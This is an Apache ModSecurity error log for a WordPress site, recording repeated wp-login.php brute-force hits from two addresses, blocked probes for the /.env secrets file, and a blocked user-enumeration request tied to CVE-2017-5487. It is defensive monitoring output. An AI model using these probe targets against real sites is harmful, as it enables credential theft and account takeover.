[Sat Feb 28 13:00:43.829993 2026] [:error] [pid 39185:tid 39249] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2exVE-FfM89u7BQa75gAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:46.158411 2026] [:error] [pid 39185:tid 39258] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2fhVE-FfM89u7BQa79wAAAIw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:49.295884 2026] [:error] [pid 39185:tid 39261] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2gRVE-FfM89u7BQa8AwAAAI8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:51.456245 2026] [:error] [pid 39185:tid 39248] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2gxVE-FfM89u7BQa8DgAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:54.588578 2026] [:error] [pid 39185:tid 39259] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2hhVE-FfM89u7BQa8FgAAAI0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:56.861024 2026] [:error] [pid 39185:tid 39267] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2iBVE-FfM89u7BQa8IAAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:59.850807 2026] [:error] [pid 39185:tid 39256] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2ixVE-FfM89u7BQa8MwAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:02.455158 2026] [:error] [pid 39185:tid 39250] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2jhVE-FfM89u7BQa8RQAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:05.556705 2026] [:error] [pid 39185:tid 39250] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2kRVE-FfM89u7BQa8VAAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:07.565868 2026] [:error] [pid 39185:tid 39246] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2kxVE-FfM89u7BQa8WwAAAIA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:10.550915 2026] [:error] [pid 39185:tid 39268] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2lhVE-FfM89u7BQa8bwAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:13.000968 2026] [:error] [pid 39185:tid 39263] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2mRVE-FfM89u7BQa8gAAAAJE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:17.204773 2026] [:error] [pid 39185:tid 39250] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2nRVE-FfM89u7BQa8lgAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:19.362572 2026] [:error] [pid 39185:tid 39252] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2nxVE-FfM89u7BQa8pgAAAIY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:22.886674 2026] [:error] [pid 39185:tid 39262] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2ohVE-FfM89u7BQa8sgAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:25.388238 2026] [:error] [pid 39185:tid 39262] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2pRVE-FfM89u7BQa8uAAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:29.612666 2026] [:error] [pid 52460:tid 52481] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2qbLWOogAgHGh62QsSwAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:31.928201 2026] [:error] [pid 52460:tid 52467] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2q7LWOogAgHGh62QsUQAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:34.978935 2026] [:error] [pid 52460:tid 52478] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2rrLWOogAgHGh62QsXgAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:37.006840 2026] [:error] [pid 52460:tid 52466] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2sbLWOogAgHGh62QsZAAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:40.066770 2026] [:error] [pid 52460:tid 52472] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2tLLWOogAgHGh62QsagAAAYk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:41.922015 2026] [:error] [pid 52460:tid 52468] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2tbLWOogAgHGh62QsbgAAAYU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:44.950118 2026] [:error] [pid 52460:tid 52475] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2uLLWOogAgHGh62QsdAAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:47.071632 2026] [:error] [pid 52460:tid 52481] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2u7LWOogAgHGh62QseQAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:49.923343 2026] [:error] [pid 52460:tid 52464] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2vbLWOogAgHGh62QsfwAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:51.772271 2026] [:error] [pid 52460:tid 52486] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2v7LWOogAgHGh62QsggAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:54.637852 2026] [:error] [pid 52460:tid 52468] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2wrLWOogAgHGh62QsjAAAAYU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:56.603463 2026] [:error] [pid 52460:tid 52468] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2xLLWOogAgHGh62QsoQAAAYU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:01:59.546210 2026] [:error] [pid 52460:tid 52474] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2x7LWOogAgHGh62QsqAAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:01.772426 2026] [:error] [pid 52460:tid 52481] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2ybLWOogAgHGh62QsrQAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:05.409543 2026] [:error] [pid 52460:tid 52486] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2zbLWOogAgHGh62QsvwAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:07.568151 2026] [:error] [pid 52460:tid 52480] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2z7LWOogAgHGh62QsxwAAAZE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:10.617359 2026] [:error] [pid 52460:tid 52466] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ20rLWOogAgHGh62QszQAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:12.661884 2026] [:error] [pid 52460:tid 52471] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ21LLWOogAgHGh62Qs0gAAAYg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:16.676816 2026] [:error] [pid 52460:tid 52478] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ22LLWOogAgHGh62Qs2gAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:18.896484 2026] [:error] [pid 52460:tid 52476] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ22rLWOogAgHGh62Qs5QAAAY0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:21.885028 2026] [:error] [pid 52460:tid 52475] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ23bLWOogAgHGh62Qs6gAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:24.052891 2026] [:error] [pid 52460:tid 52485] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ24LLWOogAgHGh62Qs6wAAAZY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:27.288081 2026] [:error] [pid 52460:tid 52466] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ247LWOogAgHGh62Qs7QAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:29.321067 2026] [:error] [pid 52460:tid 52487] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ25bLWOogAgHGh62Qs7wAAAZg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:32.665331 2026] [:error] [pid 52460:tid 52480] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ26LLWOogAgHGh62QtAgAAAZE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:34.879899 2026] [:error] [pid 52460:tid 52469] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ26rLWOogAgHGh62QtDwAAAYY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:02:38.627942 2026] [:error] [pid 52460:tid 52481] [client 144.91.119.214:54586] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ27rLWOogAgHGh62QtFgAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:17:43.744061 2026] [:error] [pid 52460:tid 52475] [client 91.224.92.164:51615] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aaJ6d7LWOogAgHGh62Q5fQAAAYw"]
[Sat Feb 28 13:17:45.129251 2026] [:error] [pid 52460:tid 52481] [client 91.224.92.164:55695] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aaJ6ebLWOogAgHGh62Q5iwAAAZI"]
[Sat Feb 28 14:12:49.510621 2026] [:error] [pid 39184:tid 39235] [client 176.65.132.19:57509] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHYVtZF9Zd_U7easDptQAAAFA"]
[Sat Feb 28 14:13:19.564020 2026] [:error] [pid 11791:tid 11804] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaKHf2uX5e1Q32gqxH0_iAAAAQs"]
[Sat Feb 28 14:13:22.555115 2026] [:error] [pid 11791:tid 11800] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHgmuX5e1Q32gqxH0_igAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:25.893962 2026] [:error] [pid 11791:tid 11812] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHhWuX5e1Q32gqxH0_jAAAARM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:27.454884 2026] [:error] [pid 11791:tid 11793] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHh2uX5e1Q32gqxH0_kAAAAQA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:30.308511 2026] [:error] [pid 11791:tid 11808] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHimuX5e1Q32gqxH0_nAAAAQ8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:31.961290 2026] [:error] [pid 11791:tid 11815] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHi2uX5e1Q32gqxH0_nwAAARY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:35.064437 2026] [:error] [pid 11791:tid 11793] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHj2uX5e1Q32gqxH0_pAAAAQA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
